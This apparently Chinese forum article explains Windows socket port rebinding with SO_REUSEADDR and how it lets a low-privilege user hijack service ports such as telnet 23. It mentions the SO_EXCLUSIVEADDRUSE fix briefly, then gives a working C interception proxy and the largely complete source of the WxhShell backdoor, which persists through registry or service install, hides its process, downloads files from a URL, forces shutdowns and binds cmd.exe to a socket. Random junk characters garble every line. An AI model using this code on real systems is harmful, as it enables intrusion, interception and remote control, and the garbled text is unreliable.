在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#0>??]&r s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
NU[{ANbl _#32hAI saddr.sin_family = AF_INET;
p_%dH -E{D'X saddr.sin_addr.s_addr = htonl(INADDR_ANY);
1oU/gm$7\q 0%J0.USkM7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
9/2VU<
K AB(WK9o 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=2v/f_ z7TMg^9# 这意味着什么?意味着可以进行如下的攻击:
Io_bS+ 8'XAZSd( 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-wn,7; ^f6pw! 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ov;1=M~RF mD@*vq 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
r{\c.\ R(p`H}^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
TLu+5f 0C!f/EZK 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
N)yCGo oVlh4"y#Lf 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
h pf,44Kg PgOOFRwP 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
>u?m
Bx +/O3L=QyJ #include
(U@Ks ) #include
_EPfeh; #include
;::]R'F[ #include
RvQa&r5l DWORD WINAPI ClientThread(LPVOID lpParam);
zm>^!j
! int main()
rfo7\'yk {
m&S *S_c WORD wVersionRequested;
b5i ehoA DWORD ret;
EKu%I~eM WSADATA wsaData;
[G!#y BOOL val;
hp|.hN(kS] SOCKADDR_IN saddr;
;Aqj$ x SOCKADDR_IN scaddr;
>lPWji'4; int err;
(8"advc6 SOCKET s;
_(7f0p SOCKET sc;
jxc^OsYj int caddsize;
_:+hB9n s HANDLE mt;
*Aqd["q DWORD tid;
L(RI4d wVersionRequested = MAKEWORD( 2, 2 );
W kP`qD3 err = WSAStartup( wVersionRequested, &wsaData );
L2\<iJA}c if ( err != 0 ) {
6W\G i> printf("error!WSAStartup failed!\n");
LX'z7fh return -1;
m&MAA^ I }
[?>\] saddr.sin_family = AF_INET;
&&PXWR!%] lcVZ 32MQ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
uH{oJSrK %eOO8^N saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
gOy;6\/ saddr.sin_port = htons(23);
l+nT$IPF if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wn-1fz<d {
*Jwx,wF}4 printf("error!socket failed!\n");
ldFR%v>9 return -1;
zgNzdO/B }
=;Q:z^S val = TRUE;
0u) m9eg //SO_REUSEADDR选项就是可以实现端口重绑定的
h0.2^vM)R if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
n }kn|To~ {
/\.[@] printf("error!setsockopt failed!\n");
{gz-w|7 return -1;
2A=q{7s }
]?G|:Kx$y% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
xm Ns% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
V O\g"Yc //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
sOJXloeO[6 rnyXMt.q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;rRV=$y {
38mC+%iC ret=GetLastError();
b#nI#!p' printf("error!bind failed!\n");
xyD2<?dGUb return -1;
$c{fPFe- }
~ &<Ls listen(s,2);
g@2KnzD while(1)
E1j3c
:2 {
bWgRGJqt caddsize = sizeof(scaddr);
X5pb9zRq //接受连接请求
uG$*DeZti sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
4mHk,Dd9, if(sc!=INVALID_SOCKET)
$\+x7"pI {
+ 70x0z2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
h+R26lI1x if(mt==NULL)
b4qMTRnv {
YP
Qix printf("Thread Creat Failed!\n");
a]/KJn/B( break;
1}_4C0h\' }
W)Ct*I^ }
UgLFU# CloseHandle(mt);
A.vf)hO }
PI.Zd1r closesocket(s);
QWc,JCu WSACleanup();
KKq%'y)u^ return 0;
$cWt^B' }
ck< `kJ`b DWORD WINAPI ClientThread(LPVOID lpParam)
~t<G gNI {
!bCSt?}@u SOCKET ss = (SOCKET)lpParam;
j{j5TvsrY SOCKET sc;
G?v!Uv8O unsigned char buf[4096];
.07"I7 SOCKADDR_IN saddr;
Aydpr_lp long num;
bcq&yL'D DWORD val;
7YxVtN DWORD ret;
8_VGB0~3i //如果是隐藏端口应用的话,可以在此处加一些判断
'&+]85_&$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
x2sKj"2?@ saddr.sin_family = AF_INET;
k;B[wEW@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ur.krsU saddr.sin_port = htons(23);
78\j if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+[R^ ?~VK {
O{EPq' x printf("error!socket failed!\n");
OxPl0-]t return -1;
&) 64:l& }
&:&~[4>%a val = 100;
,5V6=pr$ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%AN,cE* {
L+S)hgUH ret = GetLastError();
#*q]^Is" return -1;
nG";?TT }
;\v&4+3S if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2F+"v?n=\ {
^mg:<_p ret = GetLastError();
I 12Zh7Cc: return -1;
ufe|I }
?YMBZ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`Se2f0", {
@ta:9wZ printf("error!socket connect failed!\n");
:%z#s closesocket(sc);
zYP6m3n closesocket(ss);
}SC&6B?G return -1;
K&n-(m% }
ttdY]+Fj while(1)
Y0Tad?iC {
a4.w2GR //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
n"`V|
UTHP //如果是嗅探内容的话,可以再此处进行内容分析和记录
gD51N()s, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
R[14scV num = recv(ss,buf,4096,0);
P z~jW):E if(num>0)
#IZ.px send(sc,buf,num,0);
ZH|q#<{l else if(num==0)
oNIYO*[ break;
< =~=IZ) num = recv(sc,buf,4096,0);
2WDe34 if(num>0)
zrqI^i"c send(ss,buf,num,0);
S]ayH$w\Q else if(num==0)
N,Z*d break;
=tbfBK+ }
P6Y+ u closesocket(ss);
.^M#BAt2 closesocket(sc);
R:+'"dBge return 0 ;
Ge/K.]>i }
?HRS* "-djA, ` Pro?xY$E) ==========================================================
<5D4h! Xy%||\P{) 下边附上一个代码,,WXhSHELL
{Ef.wlZ ii_kgqT^ ==========================================================
ZG0^O"B0 6}m `_d? #include "stdafx.h"
=^GPQ_" z\oTuW*B #include <stdio.h>
=}%#j0a4 #include <string.h>
"9r$*\wOf #include <windows.h>
nShXY6bA #include <winsock2.h>
>SLQW #include <winsvc.h>
_}Qtx/Cg #include <urlmon.h>
>O<a9wz l;KrFJ6 #pragma comment (lib, "Ws2_32.lib")
}A+ncabm #pragma comment (lib, "urlmon.lib")
"T_9_6tH a7c`[ #define MAX_USER 100 // 最大客户端连接数
/='0W3+o*L #define BUF_SOCK 200 // sock buffer
rH!sImz, #define KEY_BUFF 255 // 输入 buffer
_]33Ht9 ~N i #define REBOOT 0 // 重启
z]r'8Jc #define SHUTDOWN 1 // 关机
MOK}:^bSu O-HS)g$2 #define DEF_PORT 5000 // 监听端口
&BLCP d J}&U[ds p #define REG_LEN 16 // 注册表键长度
,{!,%]bC #define SVC_LEN 80 // NT服务名长度
:>.{w$Ln% "d:rPJT)(@ // 从dll定义API
W03mdRW typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1$eoW/8. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
F$DA/ {.D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4VZI]3K, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
,+
G Nd]F 33|X // wxhshell配置信息
g3c<c S^l struct WSCFG {
_\KFMe=PV int ws_port; // 监听端口
Dc@ O Mr char ws_passstr[REG_LEN]; // 口令
5"@>>"3U int ws_autoins; // 安装标记, 1=yes 0=no
{Y@shf; char ws_regname[REG_LEN]; // 注册表键名
~9 .=t ' char ws_svcname[REG_LEN]; // 服务名
7tXy3-~biz char ws_svcdisp[SVC_LEN]; // 服务显示名
W,NqevXo: char ws_svcdesc[SVC_LEN]; // 服务描述信息
&muBSQ- char ws_passmsg[SVC_LEN]; // 密码输入提示信息
':fp|m)M int ws_downexe; // 下载执行标记, 1=yes 0=no
3 nG.ah char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
+Ps.HW#NY char ws_filenam[SVC_LEN]; // 下载后保存的文件名
WI4<2u;
O_8 SlW0e };
m{Vd3{H40 7H)$NG<U$ // default Wxhshell configuration
,eBC]4)B6 struct WSCFG wscfg={DEF_PORT,
beBG40 "xuhuanlingzhe",
aaig1#a@1b 1,
u0Wt"d-= "Wxhshell",
<HoCt8>U "Wxhshell",
zI4rAsysL "WxhShell Service",
y
Ne?a{ "Wrsky Windows CmdShell Service",
5aizWz "Please Input Your Password: ",
T8a' 6otc 1,
y<kUGsD "
http://www.wrsky.com/wxhshell.exe",
&'$Bk5 D@G "Wxhshell.exe"
$uHQl#!; };
@KK6Jy OTQ {/]2~! // 消息定义模块
R|8vdZ%@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
6&os`! char *msg_ws_prompt="\n\r? for help\n\r#>";
{lWV H char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
m;~} }~&vQ char *msg_ws_ext="\n\rExit.";
a5pl/d char *msg_ws_end="\n\rQuit.";
vSR&>Q%X char *msg_ws_boot="\n\rReboot...";
;:D-}t; char *msg_ws_poff="\n\rShutdown...";
;.uYWP|9 char *msg_ws_down="\n\rSave to ";
#+1|O;PB# -n.m "O3 char *msg_ws_err="\n\rErr!";
(p{%]M char *msg_ws_ok="\n\rOK!";
8In\Jo$|q> |-x-CSN char ExeFile[MAX_PATH];
n"htx|v int nUser = 0;
OW@%H;b HANDLE handles[MAX_USER];
Jz`jN~ int OsIsNt;
BDI@h%tJb: Q4m>
3I SERVICE_STATUS serviceStatus;
4j=3'Z| SERVICE_STATUS_HANDLE hServiceStatusHandle;
M5h
r0R{ IFTNr2I // 函数声明
20V~?xs~ int Install(void);
Zu,:}+niU int Uninstall(void);
`.MZ,Xhqi" int DownloadFile(char *sURL, SOCKET wsh);
(U.Go/A#wE int Boot(int flag);
;|WUbc6&g void HideProc(void);
Cq!eAc int GetOsVer(void);
FE\E%_K'n7 int Wxhshell(SOCKET wsl);
kw$7G1Q void TalkWithClient(void *cs);
~{I.qv)>M~ int CmdShell(SOCKET sock);
Ncz4LKzt int StartFromService(void);
#@B"E2F int StartWxhshell(LPSTR lpCmdLine);
=\< 7+nv _li3cXE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
'hjEd. VOID WINAPI NTServiceHandler( DWORD fdwControl );
h.X4x2(. ML_VD*t9 // 数据结构和表定义
euB 1}M SERVICE_TABLE_ENTRY DispatchTable[] =
H7X-\K 1w {
$\BYN=# {wscfg.ws_svcname, NTServiceMain},
Rlewp8?LB {NULL, NULL}
!:|*! };
{ KWVPeh G1z*e.+y // 自我安装
Xj\ToO int Install(void)
23):OB>S` {
!G3AD3 char svExeFile[MAX_PATH];
gsyOf*Q$ HKEY key;
s$Y>nH~T strcpy(svExeFile,ExeFile);
gTho:;q7a i\6CE| // 如果是win9x系统,修改注册表设为自启动
DEZww9T2Qs if(!OsIsNt) {
{nV/_o$$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
49; 'K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1Z}5ykM3 RegCloseKey(key);
.nD#:86M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#-;c!<2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
BTkx}KK RegCloseKey(key);
\P.h;|u return 0;
G]=z
![$ }
_Q5mPBO }
1(o\GI3: }
LDjtkD.r else {
",b:rgpRp Dx-P]j)4x // 如果是NT以上系统,安装为系统服务
x]c8?H9,& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Ocdy;|& if (schSCManager!=0)
yl-:9|LT {
.gJ2P?
SC_HANDLE schService = CreateService
a!$kKOK (
>B{NxL3-> schSCManager,
~*Y#Y{ wscfg.ws_svcname,
FW |&
iS$ wscfg.ws_svcdisp,
`*8}q!. SERVICE_ALL_ACCESS,
t neTOj SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
)aIcA SERVICE_AUTO_START,
OBAO(Ke SERVICE_ERROR_NORMAL,
%4*c/ c6 svExeFile,
bCw{9El!K4 NULL,
?#K.D vGJ NULL,
*C*ZmC5 NULL,
GY]P(NU NULL,
RM|J |R NULL
tY)L^.* 7 );
kZw"a*6 if (schService!=0)
C^)Imr {
z By%=)` CloseServiceHandle(schService);
NpH8=H9 CloseServiceHandle(schSCManager);
7S{qo&j' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
L"bJ#0m strcat(svExeFile,wscfg.ws_svcname);
|owr?tC if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
a4,V(Hlm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
i|^Q{3?o# RegCloseKey(key);
!UT'4Fs return 0;
;@ePu }
-8n1y[ }
~tp]a]yV CloseServiceHandle(schSCManager);
uos8Mav{E }
]@$^Ju, }
cLZ D\1Mt P=n_wE return 1;
Yqs=jTq`{ }
ETHcZ z&%i"IY // 自我卸载
m# {'9 | int Uninstall(void)
'8q3ub<\ {
z0 9Gp}^; HKEY key;
oV%:XuywT VExhN'; if(!OsIsNt) {
B(W~]i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Uc
tlE>X` RegDeleteValue(key,wscfg.ws_regname);
D^[l~K RegCloseKey(key);
z0}j7ns] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<Q|\mUS6 RegDeleteValue(key,wscfg.ws_regname);
wp?:@XM RegCloseKey(key);
kd'b_D[$H return 0;
xk,Uf,,> }
x4q}xwH }
# ?2*I2_ }
]Fy'M else {
ly%^\jW |}G"^r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
, /.@([C if (schSCManager!=0)
T~]~'+<Pi {
{xTq5`&gT SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
%>
XsKXj if (schService!=0)
|*{*tW C1 {
O\=Z;}<N if(DeleteService(schService)!=0) {
F1yn@a "=J CloseServiceHandle(schService);
);0 CloseServiceHandle(schSCManager);
p'h'Cz return 0;
8T3,56> }
g6Vkns4 CloseServiceHandle(schService);
"|3I|#s }
S\:^#Yi` CloseServiceHandle(schSCManager);
[K4cxqlfk }
bgzd($)u }
y<Koc>8 KtQs uL% return 1;
IO\1nB$0nb }
N'2?Z b J||g(+H> // 从指定url下载文件
HJl?@&l/ int DownloadFile(char *sURL, SOCKET wsh)
I*-\u {
8&@=Anc&q HRESULT hr;
m^ xTV-#l@ char seps[]= "/";
e)e(f"t6Q char *token;
qR@ESJ_ char *file;
Dge#e char myURL[MAX_PATH];
>6C\T@{lJ char myFILE[MAX_PATH];
5=TgOS]R r8m}B#W7 strcpy(myURL,sURL);
N?@^BZ token=strtok(myURL,seps);
t1Ts!Q2 while(token!=NULL)
d'_q9uf' {
l+Wux$6U file=token;
$J6
.0O token=strtok(NULL,seps);
_`?0w#>0 }
6(E4l5% XC3)#D#HGh GetCurrentDirectory(MAX_PATH,myFILE);
o9xc$hX} strcat(myFILE, "\\");
j3sz"( strcat(myFILE, file);
(pELd(*Ga send(wsh,myFILE,strlen(myFILE),0);
,buX| send(wsh,"...",3,0);
gT8(LDJ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
)q<VZ|V if(hr==S_OK)
k4sV6f return 0;
^2'Y=g> else
Y][12{I{ return 1;
LW<LgN"L- ]xvA2!)Q }
I$"Z\c8; .F ?ww}2p] // 系统电源模块
/g u
VA int Boot(int flag)
"(mJupI {
I"x' HANDLE hToken;
*8)?ZZMM TOKEN_PRIVILEGES tkp;
C1-U2@ 6[t<g= if(OsIsNt) {
~ikp'5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
?62zv[# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
hrniZ^ tkp.PrivilegeCount = 1;
[+WsVwyf? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
f,O10`4s AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
J^"_H:1[ if(flag==REBOOT) {
*9n[#2sM< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
IgbuMEfL return 0;
'fn}I0Vc }
t]&.'n, else {
j)@W1I]2# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Ny"9!3V return 0;
l4RqQ+[KA; }
'pA%lc) }
P"7` :a else {
x)?V{YAL if(flag==REBOOT) {
n~0wq(8M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
/>xEpR3_A return 0;
a@? $#> }
F.TIdkvp else {
8fQ~UcT$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Gm-
"?4( return 0;
w^L`" }
](oeMl18R }
<~|n}& #s~ITG#H return 1;
7O)ATb#up }
%ZRv+}z Z*Ffdh>*:& // win9x进程隐藏模块
:+YHj)mN void HideProc(void)
TD\TVK3P {
.EhC\QpP f?Ex$gnI HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2@(+l*.Q if ( hKernel != NULL )
*c#DB{N {
|e8A)xM]wC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
(U5XB
[r_P ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
MO~T_6 FreeLibrary(hKernel);
ywm"{ U?8 }
7UBW3{d/u5 -F`gRAr- return;
.x$V~t }
E`N` k8E2?kbF // 获取操作系统版本
uhq6dhhR int GetOsVer(void)
9ZOQNN<ex {
_
(b4|hJ' OSVERSIONINFO winfo;
EW]DzL3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
x6>WvFZ GetVersionEx(&winfo);
4 4QW&qL!( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
bHTf{= return 1;
]>)}xfL &, else
u9;3Xn8 return 0;
e|A=sCN- }
%w_MRC !T`g\za/ // 客户端句柄模块
=0e>'Iw2 int Wxhshell(SOCKET wsl)
?o V.SG' {
fe4/[S{a SOCKET wsh;
OY"BaSEOw} struct sockaddr_in client;
q|YnNk>1 DWORD myID;
Wr Wz+5M8 R]od/u/$ while(nUser<MAX_USER)
v2|zIZ {
v*excl~ int nSize=sizeof(client);
KXTk.\c wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
L^^f.w#m if(wsh==INVALID_SOCKET) return 1;
"j%Gr:a bIt{kzuQC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
aQhT*OT{Q if(handles[nUser]==0)
rDaiAx& closesocket(wsh);
b0f6?s else
|{MFo) nUser++;
!h&h;m/c }
jhG6,;1zMI WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
GLY,<O>D5 \U]<HEc^ return 0;
[HXd|,~_j- }
El`G<esX S@\&^1;4Hv // 关闭 socket
un6W|{4] void CloseIt(SOCKET wsh)
4xx?x/q {
cmf*BkS closesocket(wsh);
O,@QGUoA nUser--;
F[ ^ p~u{ ExitThread(0);
*[nS*D\: }
<c`,fd8 _z^&zuO // 客户端请求句柄
^CwS'/fdN void TalkWithClient(void *cs)
TFc/` {
C1HNcfa7 oz'jt} ?
SOCKET wsh=(SOCKET)cs;
$v{sb, char pwd[SVC_LEN];
N}bZdE9F char cmd[KEY_BUFF];
How:_ Hj char chr[1];
p<a~L~xH6 int i,j;
#6AcM" '@^<c#h]= while (nUser < MAX_USER) {
aLevml2:T j~2t^Qz
if(wscfg.ws_passstr) {
-J!k|GK#MX if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^YPw'cZZ& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
: B/u> //ZeroMemory(pwd,KEY_BUFF);
7Il
/+l( i=0;
.@(MNq{"6 while(i<SVC_LEN) {
Ky7-6$ ^oHK.x#{ // 设置超时
]N'4q}<5o fd_set FdRead;
kD+B8TrW struct timeval TimeOut;
XK
l3B=h FD_ZERO(&FdRead);
mpCKF=KL. FD_SET(wsh,&FdRead);
mnMY)-6C TimeOut.tv_sec=8;
#|xj*+)H TimeOut.tv_usec=0;
]=^NTm, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
z81`Lhg6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
%cc<>Hi wd:SBU~f5* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9hwn,=Vh) pwd
=chr[0]; 9NC6q-2
if(chr[0]==0xd || chr[0]==0xa) { j|% C?N
pwd=0; D2Kh+~l
break; `H;O! ty&d
} ]kkH|b$[T
i++; 2L2)``*
} 7 ( /
[VB\T|$
// 如果是非法用户,关闭 socket 6v-2(Y
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `_e 1LEH
} $uNYus^vS
}WkR-5N
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T8QRO%t
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bO{wQ1)Z_
o@\q 6xl.
while(1) { mK7egAo
^nL_*+V`f
ZeroMemory(cmd,KEY_BUFF); wmS:*U2sc
$VE =sS.
// 自动支持客户端 telnet标准 == i?lbj
j=0; dJg72?"ka
while(j<KEY_BUFF) { 0SLn0vD!
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EEp,Z`
cmd[j]=chr[0]; ~_L_un.R
if(chr[0]==0xa || chr[0]==0xd) { G5 x%:,n
cmd[j]=0; b!|c:mE9|
break; [.iz<Yh
} oxm3R8S
j++; hz+x)M`Y
}
OGO4~Up
$5l=&
// 下载文件 T%:W6fH7
if(strstr(cmd,"http://")) { 4~{q=-]V
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ddjaM/.E
if(DownloadFile(cmd,wsh)) q:v&wb%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RnkrI~x
else xBcE>^{1.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SfwAMNCe
} $'VFb=?XrK
else { wg,w;Gle
<[GkhPfZ
switch(cmd[0]) { -i?-Xj#%
P\H$*6v(
// 帮助 VSt)~
case '?': { fL&bN[XA"$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J4ltHk.|
break; |P]>[}mD
} viY &D
// 安装 MkG*6A
case 'i': { D@>^_cTO24
if(Install()) `=3:*.T*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4jl-?
else Ik4U+'z6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &<sDbNS
break; j!P]xl0vOZ
} H6XlSj
// 卸载 paW7.~3
R
case 'r': { +O@0gl
if(Uninstall()) (a i&v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $/Q*@4t
else 7.l[tKh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g k[8'
break; LN?W~^gsR
} uN1O(s
// 显示 wxhshell 所在路径 =7mn=
w?
case 'p': { W]rK*Dc
char svExeFile[MAX_PATH]; !1}A\S
strcpy(svExeFile,"\n\r"); q~=]_PMP
strcat(svExeFile,ExeFile); _ZfJfd~
send(wsh,svExeFile,strlen(svExeFile),0); rBZ0(XSZQ
break; FHS6Mk26
} LMrb
1lg$
// 重启 X)|b_ 3Z
case 'b': {
um[nz
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aD@sb o
if(Boot(REBOOT)) n15F4DnP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >\ :kP>U
else { KZw"?%H[
closesocket(wsh); f6ad@2
ExitThread(0); >8nRP%r[5,
} g3(fhfR'RN
break; ayJKt03\O\
} M38QA
// 关机 {(#>%f+|C
case 'd': { gI
qYIt
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); afcI5w;>}
if(Boot(SHUTDOWN)) iy{*w&p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _kb
$S
else { A-&C.g
closesocket(wsh); io$!z=W
ExitThread(0); r-+ .Ax4L"
} z17x%jXy
break; ^[SQw)*
} N4Z%8:"pj
// 获取shell spV/+jy{
case 's': { .R` {.~_{!
CmdShell(wsh); eFUJASc
closesocket(wsh); wTGH5}QZ+
ExitThread(0); mpBSd+;Z
break; `2y2Bk
} brGUK PB
// 退出 !52]'yub
case 'x': { R;gN^Yjk:
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PG8|w[V1 "
CloseIt(wsh); JZP>`c21y]
break; +.T&U7xV
} f YR*B0tu
// 离开 lz1l1.f8
case 'q': { `Li3=!V[
send(wsh,msg_ws_end,strlen(msg_ws_end),0); G-[fz
closesocket(wsh); Lmx95[#@a
WSACleanup(); O<Rm9tZ8
exit(1); W|o LS
break; mVN^X/L(y
} i:wTPR
} NZSP*# !B
} lz?F ,].
4
e1=b,
// 提示信息 ^ 9
gFW $]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *4;MO2g
} VQO6!ToKY
} *wcb 5p
o[W7'1O
return; '-tiH
} C d)j%
E=.4(J7K
// shell模块句柄 K)c`G_%G
int CmdShell(SOCKET sock) z^to"j
{ GpV"KVJJ/
STARTUPINFO si; Y#EM]x5!=
ZeroMemory(&si,sizeof(si)); y,i:BQJ<
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }u0t i"V
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bkvh]k;F8
PROCESS_INFORMATION ProcessInfo; qh!2dj
char cmdline[]="cmd"; \-Mzs 0R
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #wL}4VN
return 0; gwtR<2,p
} 3zU!5tg
BD+V{x}P
// 自身启动模式 %Ji@\|Zkf
int StartFromService(void) 8|uFW7Q
{ ^T83E}
typedef struct ?r"'JO.w
{ K
r9 P#Y
DWORD ExitStatus; Mj2o>N2,
